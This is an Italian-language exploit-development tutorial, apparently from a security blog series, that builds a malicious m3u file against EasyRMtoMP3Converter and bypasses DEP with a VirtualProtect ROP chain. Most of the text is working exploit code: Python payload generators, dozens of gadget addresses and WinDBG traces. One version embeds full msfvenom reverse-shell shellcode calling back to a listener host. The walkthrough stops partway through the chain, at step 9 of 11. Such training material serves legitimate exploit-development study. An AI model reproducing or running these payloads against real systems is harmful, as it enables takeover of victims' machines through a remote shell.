DEP Bypass II - EasyRMtoMP3Converter

Tempo di lettura: 32 minuti
Data pubblicazione: March 5, 2023

Introduzione

Secondo articolo della serie DEP Bypass, target: EasyRMtoMP3Converter.

Altri post in questa serie:

  1. DEP Bypass I - Vulnserver TRUN

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

EasyRMtoMP3Converter

EasyRMtoMP3Converter è un programma utilizzato ai tempi di Windows XP per convertire formati audio. In questo caso la vulnerabilità è locale e si trova nel parsing di un file m3u.

In un precedente articolo avevamo già exploitato il programma, ma questa volta alziamo l’asticella e bypasseremo DEP tramite la tecnica VirtualProtect Sniper.

Vecchio Crash

Nello scorso articolo il payload utilizzato per sovrascrivere EIP e redirezionare il flusso è stato il seguente:

#!/usr/bin/python 
import struct

file = "crash1.m3u"
f = open(file , "wb")

CRASH_LEN = 30000  # change me

#\x00\x09\x0a
payload = b"A" * 26057
payload += struct.pack("<I",0x1001b058) #PUSH ESP; RET
payload += b"\x90" * 8
payload += b"C" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Il problema è che con DEP abilitato non funziona più

Virtual Protect

Per exploitare con successo l’eseguibile utilizzeremo la tecnica Virtual Protect Sniper, ossia metteremo alcuni dei parametri (quelli statici/senza null byte) già in pila, e useremo alcuni gadget ROP per calcolare gli altri parametri e sovrascriverli.

La tecnica che utilizzeremo è la seguente, grazie a Corelan per l’immagine.

Per prima cosa cerchiamo un RETN che sostituiremo al posto del vecchio PUSH ESP.

!py mona find -type instr -s "ret" -m MSRMfilter03 -cpb "\x00\x09\x0a"

E prendiamo 0x100102DC.

Cerco poi Virtual Protect nello IAT di MSRMfilter03:

Non c’è, ma troviamo VirtualAlloc. Sapendo che abbiamo comunque un puntatore a kernel32.dll, cerchiamo all’interno della sua IAT la differenza tra Virtual Alloc e Virtual Protect, in modo da aggiungere successivamente l’offset.

0:017> ? 68925c90 - 68924da0
Evaluate expression: 3824 = 00000ef0
0:017> ? 77324da0 + ef0
Evaluate expression: 1999789200 = 77325c90
0:017> u 77325c90
KERNEL32!VirtualProtectStub:
77325c90 8bff            mov     edi,edi
77325c92 55              push    ebp
77325c93 8bec            mov     ebp,esp
77325c95 5d              pop     ebp
77325c96 ff2544883877    jmp     dword ptr [KERNEL32!_imp__VirtualProtect (77388844)]
KERNEL32!AppModelPolicy_GetPolicy_Internal:
77325c9c 8bff            mov     edi,edi
77325c9e 55              push    ebp
77325c9f 8bec            mov     ebp,esp

Cerco ora i gadget ROP con il seguente comando

!py mona rop -m MSVCRT,ntdll,MSVCIRT,KERNEL32,USER32,MSRMfilter03 -cpb '\x00\x09\x0a'

Cerco poi un modulo RW in MSRMfilter03 con Process Hacker

Verifichiamo con WinDBG che sia sia RW che vuoto:

0:000> dd 0x1006b000-300
1006ad00  00000000 00000000 00000000 00000000
1006ad10  00000000 00000000 00000000 00000000
1006ad20  00000000 00000000 00000000 00000000
1006ad30  00000000 00000000 00000000 00000000
1006ad40  00000000 00000000 00000000 00000000
1006ad50  00000000 00000000 00000000 00000000
1006ad60  00000000 00000000 00000000 00000000
1006ad70  00000000 00000000 00000000 00000000
0:000> !address 1006ad10  

                                    
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Image
Base Address:           10069000
End Address:            1006b000
Region Size:            00002000 (   8.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   01000000          MEM_IMAGE
Allocation Base:        10000000
Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY

Ottimo, abbiamo tutti i valori statici.

La struttura base della chiamata a VirtualProtect è composta in questo modo:

# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90)    # kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111)    # return address 
payload += struct.pack('<L', 0x22222222)    # lpAddress 
payload += struct.pack('<L', 0x33333333)    # size of shellcode (0x500 is ok)
payload += struct.pack('<L', 0x44444444)    # flNewProtect (0x40)
payload += struct.pack('<L', 0x1006ad10)    # pOldProtect (any writeable address)

Aggiorno quindi il mio payload con tutte le informazioni apprese finora

#!/usr/bin/python 
import struct

file = "crash1.m3u"
f = open(file , "wb")

CRASH_LEN = 30000  # change me

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x09\x0A' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xda\xcb\xba\xdd\xd8\x47\xd0\xd9\x74\x24\xf4"
shellcode += b"\x5b\x29\xc9\xb1\x52\x31\x53\x17\x03\x53\x17"
shellcode += b"\x83\x36\x24\xa5\x25\x34\x3d\xa8\xc6\xc4\xbe"
shellcode += b"\xcd\x4f\x21\x8f\xcd\x34\x22\xa0\xfd\x3f\x66"
shellcode += b"\x4d\x75\x6d\x92\xc6\xfb\xba\x95\x6f\xb1\x9c"
shellcode += b"\x98\x70\xea\xdd\xbb\xf2\xf1\x31\x1b\xca\x39"
shellcode += b"\x44\x5a\x0b\x27\xa5\x0e\xc4\x23\x18\xbe\x61"
shellcode += b"\x79\xa1\x35\x39\x6f\xa1\xaa\x8a\x8e\x80\x7d"
shellcode += b"\x80\xc8\x02\x7c\x45\x61\x0b\x66\x8a\x4c\xc5"
shellcode += b"\x1d\x78\x3a\xd4\xf7\xb0\xc3\x7b\x36\x7d\x36"
shellcode += b"\x85\x7f\xba\xa9\xf0\x89\xb8\x54\x03\x4e\xc2"
shellcode += b"\x82\x86\x54\x64\x40\x30\xb0\x94\x85\xa7\x33"
shellcode += b"\x9a\x62\xa3\x1b\xbf\x75\x60\x10\xbb\xfe\x87"
shellcode += b"\xf6\x4d\x44\xac\xd2\x16\x1e\xcd\x43\xf3\xf1"
shellcode += b"\xf2\x93\x5c\xad\x56\xd8\x71\xba\xea\x83\x1d"
shellcode += b"\x0f\xc7\x3b\xde\x07\x50\x48\xec\x88\xca\xc6"
shellcode += b"\x5c\x40\xd5\x11\xa2\x7b\xa1\x8d\x5d\x84\xd2"
shellcode += b"\x84\x99\xd0\x82\xbe\x08\x59\x49\x3e\xb4\x8c"
shellcode += b"\xde\x6e\x1a\x7f\x9f\xde\xda\x2f\x77\x34\xd5"
shellcode += b"\x10\x67\x37\x3f\x39\x02\xc2\xa8\x86\x7b\xcd"
shellcode += b"\x14\x6f\x7e\xcd\x7e\xea\xf7\x2b\x14\xe4\x51"
shellcode += b"\xe4\x81\x9d\xfb\x7e\x33\x61\xd6\xfb\x73\xe9"
shellcode += b"\xd5\xfc\x3a\x1a\x93\xee\xab\xea\xee\x4c\x7d"
shellcode += b"\xf4\xc4\xf8\xe1\x67\x83\xf8\x6c\x94\x1c\xaf"
shellcode += b"\x39\x6a\x55\x25\xd4\xd5\xcf\x5b\x25\x83\x28"
shellcode += b"\xdf\xf2\x70\xb6\xde\x77\xcc\x9c\xf0\x41\xcd"
shellcode += b"\x98\xa4\x1d\x98\x76\x12\xd8\x72\x39\xcc\xb2"
shellcode += b"\x29\x93\x98\x43\x02\x24\xde\x4b\x4f\xd2\x3e"
shellcode += b"\xfd\x26\xa3\x41\x32\xaf\x23\x3a\x2e\x4f\xcb"
shellcode += b"\x91\xea\x6f\x2e\x33\x07\x18\xf7\xd6\xaa\x45"
shellcode += b"\x08\x0d\xe8\x73\x8b\xa7\x91\x87\x93\xc2\x94"
shellcode += b"\xcc\x13\x3f\xe5\x5d\xf6\x3f\x5a\x5d\xd3"

rop_nop = struct.pack("<I",0x100102DC) # RET from MSRMfilter03

#\x00\x09\x0a
payload = b"A" * 26057
payload += rop_nop # EIP
payload += b"\x90" * 4 #padding

# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90)    # kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111)    # return address  (address of shellcode)
payload += struct.pack('<L', 0x22222222)    # lpAddress 
payload += struct.pack('<L', 0x33333333)    # size of shellcode (0x500 is ok)
payload += struct.pack('<L', 0x44444444)    # flNewProtect (0x40)
payload += struct.pack('<L', 0x1006ad10)    # pOldProtect (any writeable address)

payload += b"\x90" * 8

payload += b"\x90" * 250 # compensate

payload += shellcode

payload += b"C" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Ho inserito il padding di 250 per compensare i successivi gadget ROP che andremo ad inserire.

Gli step della tecnica sniper con VirtualProtect saranno i seguenti:

  1. Sovrascrivi EIP e metti RETN - fatto
  2. Inserisci la struttura di VirtualProtect con alcuni valori statici (kernel32.VirtualProtect() , pOldProtect ) - fatto
  3. Salvi il valore di ESP in + registri (almeno 2, ti servirà dopo)
  4. Salti la struttura VirtualProtect con un ADD ESP,0x
  5. Porti uno dei registri in cui hai salvato ESP (step 3) ad avere il valore del return address. Poiché in teoria saranno vicini, dovremo fare un semplice inc/dec/add.
  6. Porti un’altro registro in cui hai salvato ESP (step 3) ad avere il valore di lpAddress. Poiché in teoria saranno vicini, dovremo fare un semplice inc/dec/add.
  7. Con un MOV DWORD PTR modifichi il puntatore a return address e lpAddress con l’indirizzo dello shellcode (0x11111111 e 0x22222222)
  8. Size: azzeri un registro, salvi 0x500 (o la grandezza che vuoi) al suo interno e con un MOV DWORD PTR aggiorni il puntatore (0x33333333)
  9. flNewProtect: azzeri un registro, salvi 0x40 al suo interno e con un MOV DWORD PTR aggiorni il puntatore (0x44444444)
  10. Cerchi un registro vicino a VirtualProtect, lo fai matchare con l’indirizzo di VirtualProtect e lo scambi con ESP.
  11. Ora ESP punterà a VirtualProtect, che verrà eseguito, la memoria verrà marcata come eseguibile e lo shellcode sarà finalmente eseguito.

Non fatevi scoraggiare, è più semplice a farsi che a dirsi!

Step 3. Salvare ESP

Tra i gadget trovati prima, ne cerchiamo un paio che salvino il valore di ESP.

0x77371b2e  # PUSH ESP # POP ESI # RETN    ** [KERNEL32.DLL] **
0x771cb29a  # MOV EDI,ESI # DEC ECX # RETN 0x0C    **
0x75bebe2b  # MOV EAX,ESI # POP ESI # RETN    ** [MSVCRT.dll] ** 

In questo modo ESP viene salvato sia in EDI che in EAX.

Step 4. Saltare il placeholder

Ci basta trovare un ADD ESP,0x

0x100201a3  # ADD ESP,1C # RETN    ** [MSRMfilter03.dll] ** 

Aggiornando lo script ci troviamo in questa situazione

#!/usr/bin/python 
import struct

file = "crash1.m3u"
f = open(file , "wb")

CRASH_LEN = 30000  # change me

shellcode =  b""

rop_nop = struct.pack("<I",0x100102DC) # RET from MSRMfilter03

#\x00\x09\x0a
payload = b"A" * 26057
payload += rop_nop # EIP
payload += b"\x90" * 4 #padding

#Salvo ESP in EDI ed EAX
payload += struct.pack("<I",0x77371b2e)  # PUSH ESP # POP ESI # RETN    ** [KERNEL32.DLL] **
payload += struct.pack("<I",0x771cb29a) # MOV EDI,ESI # DEC ECX # RETN 0x0C    **
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += rop_nop #padding for 0x0c
payload += struct.pack("<I",0x75bebe2b)  # MOV EAX,ESI # POP ESI # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop ESI


#jump over VirtualProtect
payload += struct.pack("<I",0x100201a3)  # ADD ESP,1C # RETN    ** [MSRMfilter03.dll] ** 

# Calling VirtualProtect with parameters
payload += struct.pack('<L', 0x77325c90)    # kernel32.VirtualProtect()
payload += struct.pack('<L', 0x11111111)    # return address 
payload += struct.pack('<L', 0x22222222)    # lpAddress 
payload += struct.pack('<L', 0x33333333)    # size of shellcode (0x500 is ok)
payload += struct.pack('<L', 0x44444444)    # flNewProtect (0x40)
payload += struct.pack('<L', 0x1006ad10)    # pOldProtect (any writeable address)

payload += b"\x90" * 4

payload += b"\x47"*4 # atterro qui

payload += b"\x90" * 250 # compensate

payload += shellcode

payload += b"C" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Ricordiamoci di identificare il punto preciso in cui atterriamo con ADD ESP,1C perchè sarà il punto in cui la chain ROP inizierà. Per confermare vediamo su WinDBG se atterriamo su 0x47474747

Step 5. Return Address

Ora dobbiamo portare uno dei registri in cui ho salvato ESP a valere come il return address. Prendo EDI, che sta a 36 bytes di distanza.

0:000> ? 0011f458 - edi
Evaluate expression: 36 = 00000024
0:000> ? edi + 24
Evaluate expression: 1176664 = 0011f458
0:000> dd 0011f458 L1
0011f458  11111111

Lo incrementiamo con il gadget # INC EDI # RETN

….
payload += b"\x90" * 4

payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 
payload += struct.pack('<L',0x7752e7e0)  # INC EDI # RETN    ** [ntdll.dll] ** 

payload += b"\x90" * 250 # compensate
….

Vediamo con WinDBG

0:000> 
eax=0011f434 ebx=00124a00 ecx=01bbffff edx=01bc0000 esi=41414141 edi=0011f458
eip=7752e7e1 esp=0011f500 ebp=001b4db8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
ntdll!Feature_20H2_Enablement__private_descriptor+0x4929:
7752e7e1 c3              ret
0:000> dd edi L1
0011f458  11111111

Step 6. lpAddress

Ora dobbiamo fare la stessa cosa ma con lpAddress. In questo caso usiamo EAX

…
#EAX will point to lpAddress
payload += struct.pack('<L',0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] ** 
payload += struct.pack('<L',0x771c28ee)  # INC EAX # RETN    ** [USER32.dll] **

payload += b"\x90" * 250 # compensate
….

Vediamo con WinDBG se è tutto ok:

0:000> p
eax=0011f45b ebx=00124a00 ecx=01a9ffff edx=01aa0000 esi=41414141 edi=0011f458
eip=771c28ee esp=0011f528 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
USER32!_GetChildControl+0x1c9c1:
771c28ee 40              inc     eax
0:000> 
eax=0011f45c ebx=00124a00 ecx=01a9ffff edx=01aa0000 esi=41414141 edi=0011f458
eip=771c28ef esp=0011f528 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
USER32!_GetChildControl+0x1c9c2:
771c28ef c3              ret
0:000> dd eax L1
0011f45c  22222222

Ottimo, ora sia EAX che EDI puntanto ai valori che vogliamo modificare.

Step 7. Sostituzione dei puntatori

Non ci resta che cercare un registro che punti al nostro shellcode ed inserire il suo valore al posto dei puntatori al return address e lpAddress.

Per prima caso salvo EAX in ECX, per tenere il puntatore a lpAddress.

0x774771b2  # MOV ECX,EAX # MOV EAX,ECX # POP EBP # RETN    ** [ntdll.dll] ** 

Successivamente incremento EAX in modo che punti il più possibile vicino allo shellcode

0x75be5de6  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] **
0x75be5de6  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] **

Aggiorno lo script di conseguenza

.....
#EAX will point to an address equal or inside NOP sled
#copio EAX in ECX per salvarne il valore just in case
payload += struct.pack('<L',0x774771b2)  # MOV ECX,EAX # MOV EAX,ECX # POP EBP # RETN    ** [ntdll.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack('<L',0x75be5de6)  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack('<L',0x75be5de6)  # ADD EAX,0C8 # RETN    ** [MSVCRT.dll] ** 

payload += b"\x90" * 250 # compensate

payload += shellcode
......

Vediamo con WinDBG se è tutto ok

0:000> p
eax=0011f524 ebx=00124a00 ecx=0011f45c edx=01aa0000 esi=41414141 edi=0011f458
eip=75be5de6 esp=0011f538 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200216
MSVCRT!__p__pctype+0x26:
75be5de6 05c8000000      add     eax,0C8h
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01aa0000 esi=41414141 edi=0011f458
eip=75be5deb esp=0011f538 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MSVCRT!__p__pctype+0x2b:
75be5deb c3              ret
0:000> dd eax 
0011f5ec  90909090 90909090 90909090 90909090
0011f5fc  90909090 90909090 90909090 90909090
0011f60c  90909090 90909090 90909090 90909090
0011f61c  90909090 90909090 90909090 90909090
0011f62c  90909090 43439090 43434343 43434343
0011f63c  43434343 43434343 43434343 43434343
0011f64c  43434343 43434343 43434343 43434343
0011f65c  43434343 43434343 43434343 43434343

Ora dobbiamo sostituire i puntatori di ECX ed EDI con il valore di EAX. Al momento abbiamo:

  1. EDI con il return address
  2. ECX con lpAddress
  3. EAX con la posizione dello shellcode, quella che ho appena allungato con ADD

Ciò che dobbiamo fare è

EAX -> [EDI]
EAX -> [ECX]

E lo facciamo con le seguenti istruzioni

0x77189c93  # MOV DWORD PTR [EDI],EAX # POP EDI # POP ESI # RETN
0x1002b67d  # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 

Aggiorno lo script

.....
#EAX --> [EDI]
payload += struct.pack("<I",0x77189c93)  # MOV DWORD PTR [EDI],EAX # POP EDI # POP ESI # RETN    ** [USER32.dll] ** 
payload += struct.pack("<I",0x41414141) # padding for pop edi
payload += struct.pack("<I",0x41414141) # padding for pop esi

#EAX -> [ECX]
payload += struct.pack("<I",0x1002b67d)  # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 

payload += b"\x90" * 250 # compensate

payload += shellcode
.....

Verifichiamo con WinDBG se è tutto ok

Breakpoint 0 hit
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=0011f458
eip=77189c93 esp=0011f53c ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
USER32!CvtDec+0x1e:
77189c93 8907            mov     dword ptr [edi],eax  ds:0023:0011f458=11111111
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=0011f458
eip=77189c95 esp=0011f53c ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
USER32!CvtDec+0x20:
77189c95 5f              pop     edi
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=41414141
eip=77189c96 esp=0011f540 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
USER32!CvtDec+0x21:
77189c96 5e              pop     esi
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=41414141
eip=77189c97 esp=0011f544 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
USER32!CvtDec+0x22:
77189c97 c3              ret
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=41414141
eip=1002b67d esp=0011f548 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MSRMfilter03!Filter_Reset+0x21cad:
1002b67d 8901            mov     dword ptr [ecx],eax  ds:0023:0011f45c=22222222
0:000> p
eax=0011f5ec ebx=00124a00 ecx=0011f45c edx=01c10000 esi=41414141 edi=41414141
eip=1002b67f esp=0011f548 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
MSRMfilter03!Filter_Reset+0x21caf:
1002b67f c3              ret

Ed ecco che abbiamo sostituito i placeholder 0x11111111 e 0x22222222 con il valore che volevamo!

Step 8. nSize

Poiché ECX punta a lpAddress lo incremento di quattro per puntare a nSize con il seguente gadget

0x75bc0778  # INC ECX # RETN    ** [MSVCRT.dll] ** 
0x75bc0778  # INC ECX # RETN    ** [MSVCRT.dll] ** 
0x75bc0778  # INC ECX # RETN    ** [MSVCRT.dll] ** 
0x75bc0778  # INC ECX # RETN    ** [MSVCRT.dll] ** 

Uso poi EAX per avere il valore di 0x600

0x10025b9c # XOR EAX,EAX # RETN    ** [MSRMfilter03.dll] **
0x1002dc4c  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
0x1002dc4c  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
0x1002dc4c  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
0x1002dc4c  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
0x1002dc4c  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
0x1002dc4c  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **

E con un # MOV DWORD PTR [ECX],EAX salvo EAX nel puntatore ad ECX.

0x1002b67d # MOV DWORD PTR [ECX],EAX

Aggiorno lo script inserendo anche il padding

.....
#dwSize
payload += struct.pack("<I",0x10025b9c)  # XOR EAX,EAX # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x1002dc4c)  # ADD EAX,100 # POP EBP # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x41414141) # padding for pop ebp
#aumento ecx di 40 per puntare a dwsize
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
#EAX --> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 

payload += b"\x90" * 250 # compensate

payload += shellcode
.....

Ed ecco che il valore è stato modificato

Step 9. flNewProtect

L’operazione è pressoché la stessa. Incremento ECX di 4

0x75bc0778  # INC ECX # RETN    ** [MSVCRT.dll] ** 
0x75bc0778  # INC ECX # RETN    ** [MSVCRT.dll] ** 
0x75bc0778  # INC ECX # RETN    ** [MSVCRT.dll] ** 
0x75bc0778  # INC ECX # RETN    ** [MSVCRT.dll] ** 

Azzero EAX e gli aggiungo 0x40

0x10025b9c  # XOR EAX,EAX # RETN    ** [MSRMfilter03.dll] **
0x75be28d8  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] ** 
0x75be28d8  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] **  

Aggiorno lo script con il padding

....
#flNewProtect  
payload += struct.pack("<I",0x10025b9c)  # XOR EAX,EAX # RETN    ** [MSRMfilter03.dll] **
payload += struct.pack("<I",0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] **  
payload += struct.pack("<I",0x41414141) # padding for pop ebp
payload += struct.pack("<I",0x75be28d8)  # ADD EAX,20 # POP EBP # RETN    ** [MSVCRT.dll] **  
payload += struct.pack("<I",0x41414141) # padding for pop ebp
#incremento di 4 ecx
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] ** 
payload += struct.pack("<I",0x75bc0778)  # INC ECX # RETN    ** [MSVCRT.dll] **
#EAX --> [ECX]
payload += struct.pack("<I",0x1002b67d) # MOV DWORD PTR [ECX],EAX # RETN    ** [MSRMfilter03.dll] ** 

payload += b"\x90" * 250 # compensate

payload += shellcode
.....

